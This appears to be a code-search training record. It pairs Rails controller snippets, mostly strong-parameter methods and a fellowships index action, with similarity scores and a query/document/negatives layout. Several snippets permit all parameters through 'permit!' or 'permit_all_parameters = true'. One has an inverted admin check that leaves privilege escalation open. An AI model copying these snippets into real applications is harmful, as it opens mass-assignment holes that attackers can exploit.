[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
GET /fellowships GET /fellowships.json
def index @fellowships = Fellowship.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def friendships_show(options = {})\n @req.get(\"/1.1/friendships/show.json\", options)\n end", "def index\n @friendships = @user.friendships\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @friendships }\n end\n end", "def all_followships\n followships = User.find(params[:user_id]).followships\n render :json => followships\n end", "def index\n @followships = Follower.all\n render json: @followships\n end", "def show\n @friendship = @user.friendships.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @friendship }\n end\n end", "def show\n user = User.find(params[:id])\n friendships = user.followers + user.followees\n render json: {user: user, friendships: friendships}\n end", "def index\n @clientships = current_user.clientships.all \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clientships }\n end\n end", "def show_list_by_user_id\n @id = current_user.id\n @userfriendships = User.find(@id).friends\n if @userfriendships.empty?\n render json: {Error: \"No friends found\"}, status: 404\n else\n render json: @userfriendships.to_json(:only => [:id, :username])\n end\n end", "def show\n @clientship = current_user.clientships.find(params[:id]) \n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clientship }\n end\n end", "def leaderboard\n get(\"/user/#{@user_id}/friends/leaderboard.json\")\n end", "def index\n retrieve_and_develop_all_friendships\n end", "def index\n @friendships = Friendship.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @friendships }\n end\n end", "def index\n @friendships = Friendship.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @friendships }\n end\n end", "def index\n @friendships = @user.friendships\n\n respond_to do |format|\n format.html # index.rhtml\n end\n end", "def set_fellowship\n @fellowship = Fellowship.find(params[:id])\n end", "def index\n @followships = Followship.all\n end", "def index\r\n @followships = Followship.all\r\n end", "def friendships_outgoing(options = {})\n @req.get(\"/1.1/friendships/outgoing.json\", options)\n end", "def index\n logger.info(\"-------------->index Friendship session #{session[:login]}\");\n if request.format.json?\n friendships_instance =Friendship.new\n @friendships = friendships_instance.getMyfriends(session[:login]); \n else \n @friendships=Friendship.where(user_id: session[:login])\n end\n\n end", "def followers\n @followers = @user.followers\n\n respond_to do |format|\n format.html\n format.json { render :json => { :followers => @followers.map{|x| x.as_json(:json => 'friendship')}, :user => @user.as_json(:json => 'wall') }}\n end\n end", "def index\n @girlfriends = Girlfriend.all\n render json: @girlfriends, status: 200 \n end", "def friendships_incoming(options = {})\n @req.get(\"/1.1/friendships/incoming.json\", options)\n end", "def show\n render json: @championship\n end", "def index\n @championships = Championship.all\n\n render json: @championships\n end", "def show\n @friendship = Friendship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @friendship }\n end\n end", "def show\n @friendship = Friendship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @friendship }\n end\n end", "def show\n @internships_user = InternshipsUser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @internships_user }\n end\n end", "def index\n @player_ships = PlayerShip.all\n end", "def index\n @friendships = Friendship.all\n end", "def index\n @friendships = Friendship.all\n end", "def index\n @friendships = Friendship.all\n end", "def index\n @friendships = Friendship.all\n end", "def index\n @friendships = Friendship.all\n end", "def follows\n @follows = @user.follows\n\n respond_to do |format|\n format.html\n format.json { render :json => { :follows => @follows.map{|x| x.as_json(:json => 'friendship')}, :user => @user.as_json(:json => 'wall') }}\n end\n end", "def list\n user = User.find_by_email params[:email]\n if user\n friendship = Friendship.where user: user\n render json: {success: true, friends: friendship.map {|f| f.friend.email}, count: friendship.count}\n else\n render json: {message: \"email not found\"}\n end\n end", "def show\n render json: UserBoards.find(params[\"id\"])\n end", "def show\n @intern = Intern.find(params[:id])\n @internships = Internship.where(intern_id: @intern.id)\n respond_to do |format|\n format.html #show.html.erb\n format.json { render json: @intern }\n end\n end", "def index\n respond_to do |format|\n format.json {\n user_leaderboard = []\n userid = params[:user_id]\n if userid\n # First, get the list of leaderboard values for current user\n current_user = User.find(userid)\n user_leaderboard << get_leaderboard_values_for_user(userid, current_user.fbid, current_user.fb_name, current_user.membertime)\n\n # Then, get leaderboard values for user's friends\n fbid_array = current_user.fb_friends\n if fbid_array.length > 0\n fbid_array = fbid_array.split(\"|\")\n friends_list = User.where(\"fbid in (?)\", fbid_array)\n\n friends_list.each do |friend|\n user_leaderboard << get_leaderboard_values_for_user(friend.id, friend.fbid, friend.fb_name, friend.membertime)\n end\n end\n\n log_event(:user_leaderboard, :get, user_leaderboard)\n render json: user_leaderboard.as_json\n else\n create_error(:unprocessable_entity, :get, \"\", \"Missing user\")\n end\n }\n end\n end", "def get_friends\n results = []\n user = User.find_by_username(params[:username])\n friends = Friend.where(user_id: user.id, accepted: true)\n friends.each do |friend_rel|\n friend = User.find(friend_rel.friend_id)\n results << {id:friend.id, username: friend.username}\n end\n friends = Friend.where(friend_id: user.id, accepted: true)\n friends.each do |friend_rel|\n friend = User.find(friend_rel.user_id)\n results << {id:friend.id, username: friend.username}\n end\n render json:results\n end", "def show\n render json: @games_leaderboard\n end", "def full_mayorships\n client.user_mayorships(id)\n end", "def update\n respond_to do |format|\n if @fellowship.update(fellowship_params)\n format.html { redirect_to @fellowship, notice: 'Fellowship was successfully updated.' }\n format.json { render :show, status: :ok, location: @fellowship }\n else\n format.html { render :edit }\n format.json { render json: @fellowship.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @fellowship = Fellowship.new(fellowship_params)\n @fellowship.users << current_user\n\n # Capitalize fellowship name\n @fellowship.fellowship_name = @fellowship.fellowship_name.titleize\n\n respond_to do |format|\n if @fellowship.save\n format.html { redirect_to @fellowship, notice: 'Fellowship was successfully created.' }\n format.json { render :show, status: :created, location: @fellowship }\n else\n format.html { render :new }\n format.json { render json: @fellowship.errors, status: :unprocessable_entity }\n end\n end\n end", "def route\n hitch = Hitch.find(params[:hitch_id])\n render json: hitch.geojson\n end", "def get_friends_list\n friends = self.friendships\n friends = friends.map do |friendship|\n User.find(friendship.friend_id)\n end\n end", "def show\n @guardianship = Guardianship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @guardianship }\n end\n end", "def destroy\n @fellowship.destroy\n respond_to do |format|\n format.html { redirect_to fellowships_url, notice: 'Fellowship was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def show\n @flower_ships = FlowerShip.where(flower_order_id: @flower_order.id)\n end", "def show\n @book_usership = BookUsership.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book_usership }\n end\n end", "def index\n @kinships = Kinship.all\n end", "def show\n @neighborhood = Neighborhood.find(params[:id])\n\n render json: @neighborhood\n end", "def index\n @friends = Friend.all\n render json: @friends\n end", "def index\n @user = current_user\n render json: @user.friends\n end", "def index\n @request_friendships = RequestFriendship.all\n end", "def index\n @guardianships = Guardianship.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @guardianships }\n end\n end", "def findFollowees\n @user = User.find(params[:id])\n @followees = @user.followees.all\n render json: @followees, status: :ok\n end", "def friend_requests\n friends = current_user.friends.where accepted: false\n profiles = friends.map{ |friend| Profile.find(friend.profile_id)}\n render json: profiles\n end", "def find_friendship\n @friendship = current_user.friendships.find_by_user_id_and_friend_id(current_user.id, @friend_id)\n end", "def friends\n #get friends page\n #get json from friends page\n #parse\n []\n end", "def follower\n @users = User.find(params[:id]).followers\n render json: @users\n end", "def show\n user = Api::V1::User.find(params[:id])\n unless user.nil?\n render json: user.followings.all\n end\n end", "def show\n user = Api::V1::User.find(params[:id])\n unless user.nil?\n render json: user.followings.all\n end\n end", "def show\n @championship = Championship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @championship }\n end\n end", "def index\n @games_leaderboards = Games::Leaderboard.all\n\n render json: @games_leaderboards\n end", "def index\n @internships = Internship.all\n @current_user = User.find(current_user.id)\n respond_with(@internships)\n end", "def list_selfies\n user = User.friendly.find(params[:user_id])\n\n if current_user == user or current_user.is_following?(user)\n user_selfies = user.selfies.where(\"blocked = false and hidden = false\").order(\"created_at DESC\").paginate(:page => params[:page], :per_page => 39)\n else\n user_selfies = user.selfies.where(\"private = false and blocked = false and hidden = false\").order(\"created_at DESC\").paginate(:page => params[:page], :per_page => 39)\n end\n followers = user.followers(1)\n following = user.all_following\n #books = user.books\n number_selfie_approved = user.selfies.where(\"blocked = false and hidden = false and approval_status = 1\").count\n\n render json: user_selfies.includes(:challenge), meta: {number_selfies: user_selfies.count, number_following: following.count, number_followers: followers.count, number_approved: number_selfie_approved}\n end", "def my_friends\n @current_user = User.find(params[:user_id])\n render json: {\n friends: @current_user.friend.where(status: 'accept').map do |friend|\n {\n id: friend.id,\n name: User.find(friend.friend).name.upcase,\n avatar: \"#{request.base_url}#{Rails.application.routes.url_helpers.rails_blob_path(User.find(friend.friend).avatar, only_path: true)}\",\n date: friend.created_at\n }\n end\n }\n end", "def index\n render json: UserBoards.all\n end", "def show\n puts @fleet.id\n @ship_hash = @fleet.get_ships\n end", "def show\n render json: @user.suggest_friends\n end", "def index\n @current_user = current_user\n @friendships = current_user.friendships\n\n @potentialFriends = User.all()\n end", "def index\n @winners = Winner.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @winners }\n end\n end", "def get_friends\n @person = Person.find_by_guid(params['user_id'])\n if ! @person\n render_json :status => :not_found and return\n end\n\n if params['sortBy'] == \"status_changed\"\n params['sortOrder'] ||= \"ascending\"\n @friends = @person.contacts.all\n @friends.sort!{|a,b| sort_by_status_message_changed(a, b, params['sortOrder']) }\n else\n @friends = @person.contacts\n end\n @friends.filter_paginate!(params[:per_page], params[:page]){true}\n @friends.collect! { |p| p.to_hash(@user, @client)}\n render_json :entry => @friends, :size => @friends.count_available and return\n end", "def friends\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n make_get_call('/friends/list').friends\n end", "def show\n render json: @onboarding\n end", "def show\n @internship = Internship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @internship }\n end\n end", "def friendships\n @_friendships ||= Friendable.resource_class.find(raw_friend_hashes.keys).map do |resource|\n Friendship.deserialize!(self, resource, raw_friend_hashes[resource.id.to_s])\n end\n end", "def index\n @ships = Ship.all\n end", "def index\n @ships = Ship.all\n end", "def index\n @fleet_ships = FleetShip.all\n end", "def show\n @neighborhood = Neighborhood.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @neighborhood }\n end\n end", "def friends\n all_friends = [];\n self.friendships.each do |ship|\n if ship.status == 'approved'\n friend_id = get_friend_id_from_friendship(ship)\n friend = User.find(friend_id)\n all_friends << friend\n end\n end\n all_friends\n end", "def show\n @rooster = Rooster.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rooster }\n end\n end", "def show\n @internship = Internship.find(params[:id])\n\n respond_to do |format|\n format.html \n format.json { render :json => @internship }\n end\n end", "def my_list\n @user = get_current_user\n if @user\n favorites = UserGame.where(user_id: @user.id).map {|fav| fav.game.game_id }\n render json: favorites\n else\n render json: {\n error: \"Favorite Games Currently Unaccessible\",\n status: 400\n }, status: 400\n end\n end", "def friends(options={})\n get('/friends', options)\n end", "def show\n @user=current_user\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user.friends}\n end\n end", "def index\n @townships = Township.all\n end", "def internships\n respond_to do |format|\n format.html # internships.html.erb\n format.xml { render :xml => nil }\n end\n end", "def index\n @fostereds = Fostered.all\n end", "def show\n @roster = Roster.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @roster }\n end\n end", "def show\n #@friendship = Friendship.where(fitpartner_user: params[:id])\n @friendship = Friendship.where(:fitpartner_id => params[:id], :user_id => current_user.id).count\n end", "def index\n @maps = current_user.owned_maps\n respond_with @maps, :include => :waypoints\n end", "def friendship_show?(user_a, user_b)\n\t\treturn true if user_a == user_b\n\t\tresponse = access_token.get(\"/friendships/show.json?user_a=#{user_a}&user_b=#{user_b}\")\n\t\tcase response\n\t\twhen Net::HTTPSuccess\n\t\t\tfriendship=JSON.parse(response.body)\n\t\telse\n\t\t\traise TwitterOauth::APIError\n\t\tend\n\trescue => err\n\t\tputs \"Exception in friendship_show?: #{err}\"\n\t\traise err\n\tend", "def show\n @leaderboard = Leaderboard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leaderboard }\n end\n end", "def get_favourite_restaurants\n @profile = Profile.find(params[:id])\n @restaurants = @profile.favourites\n\n render status: 200, json: @restaurants\n end", "def show\n @badge = Badge.find(params[:id])\n @users = @badge.users\n respond_with @badge\n end", "def show\n @nightclub = Nightclub.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nightclub }\n end\n end", "def friends\n output = []\n friendships.each do |f|\n output << f.friend\n end\n output\n end", "def index\n @recent = Highfive.recent.approved\n @leaders = User.leaders\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @highfives }\n end\n end" ]
[ "0.68399906", "0.677079", "0.66788733", "0.6673716", "0.6600876", "0.6530814", "0.64723", "0.63641745", "0.62883073", "0.6271121", "0.62546223", "0.6192769", "0.6192769", "0.6094432", "0.60479635", "0.60295016", "0.59806514", "0.5938384", "0.5932049", "0.5920053", "0.5914618", "0.58985454", "0.589549", "0.58915764", "0.5890275", "0.5890275", "0.58727765", "0.5868693", "0.5843397", "0.58414775", "0.58414775", "0.58414775", "0.58414775", "0.58409894", "0.5838629", "0.5828882", "0.5816811", "0.5807914", "0.57908523", "0.5776559", "0.5775285", "0.57522166", "0.5702184", "0.5684192", "0.56573373", "0.5655995", "0.565516", "0.5653357", "0.5623092", "0.5616589", "0.56075966", "0.5588843", "0.55874205", "0.5583696", "0.5554868", "0.5554837", "0.5554012", "0.55443037", "0.5541588", "0.5516778", "0.55158687", "0.55158687", "0.55141735", "0.5508947", "0.55015254", "0.55006886", "0.5498484", "0.54961777", "0.54934007", "0.5488466", "0.5487464", "0.5482386", "0.54779863", "0.546071", "0.5457192", "0.5443419", "0.54220957", "0.54188347", "0.54188347", "0.541755", "0.5416012", "0.5406835", "0.54039365", "0.5392447", "0.53875965", "0.5385064", "0.53791165", "0.5374857", "0.536899", "0.5368507", "0.5367339", "0.53640604", "0.53639525", "0.5352193", "0.53498226", "0.5348986", "0.53489745", "0.5343276", "0.5328523", "0.53228164" ]
0.75781894
0
GET /fellowships/1 GET /fellowships/1.json
def show respond_to do |format| if current_user format.html format.js else format.html {render :layout => 'join'} format.js end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @fellowships = Fellowship.all\n end", "def show\n @friendship = @user.friendships.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @friendship }\n end\n end", "def index\n @friendships = @user.friendships\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @friendships }\n end\n end", "def friendships_show(options = {})\n @req.get(\"/1.1/friendships/show.json\", options)\n end", "def show\n @clientship = current_user.clientships.find(params[:id]) \n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clientship }\n end\n end", "def index\n @followships = Follower.all\n render json: @followships\n end", "def all_followships\n followships = User.find(params[:user_id]).followships\n render :json => followships\n end", "def index\n @clientships = current_user.clientships.all \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clientships }\n end\n end", "def show\n user = User.find(params[:id])\n friendships = user.followers + user.followees\n render json: {user: user, friendships: friendships}\n end", "def show\n @friendship = Friendship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @friendship }\n end\n end", "def show\n @friendship = Friendship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @friendship }\n end\n end", "def set_fellowship\n @fellowship = Fellowship.find(params[:id])\n end", "def index\n @friendships = Friendship.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @friendships }\n end\n end", "def index\n @friendships = Friendship.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @friendships }\n end\n end", "def show_list_by_user_id\n @id = current_user.id\n @userfriendships = User.find(@id).friends\n if @userfriendships.empty?\n render json: {Error: \"No friends found\"}, status: 404\n else\n render json: @userfriendships.to_json(:only => [:id, :username])\n end\n end", "def show\n render json: UserBoards.find(params[\"id\"])\n end", "def show\n @internships_user = InternshipsUser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @internships_user }\n end\n end", "def leaderboard\n get(\"/user/#{@user_id}/friends/leaderboard.json\")\n end", "def show\n render json: @championship\n end", "def index\n retrieve_and_develop_all_friendships\n end", "def show\n @intern = Intern.find(params[:id])\n @internships = Internship.where(intern_id: @intern.id)\n respond_to do |format|\n format.html #show.html.erb\n format.json { render json: @intern }\n end\n end", "def show\n @neighborhood = Neighborhood.find(params[:id])\n\n render json: @neighborhood\n end", "def index\n @friendships = @user.friendships\n\n respond_to do |format|\n format.html # index.rhtml\n end\n end", "def show\n @guardianship = Guardianship.find(params[:id])\n\n respond_to do |format|\n format.html # 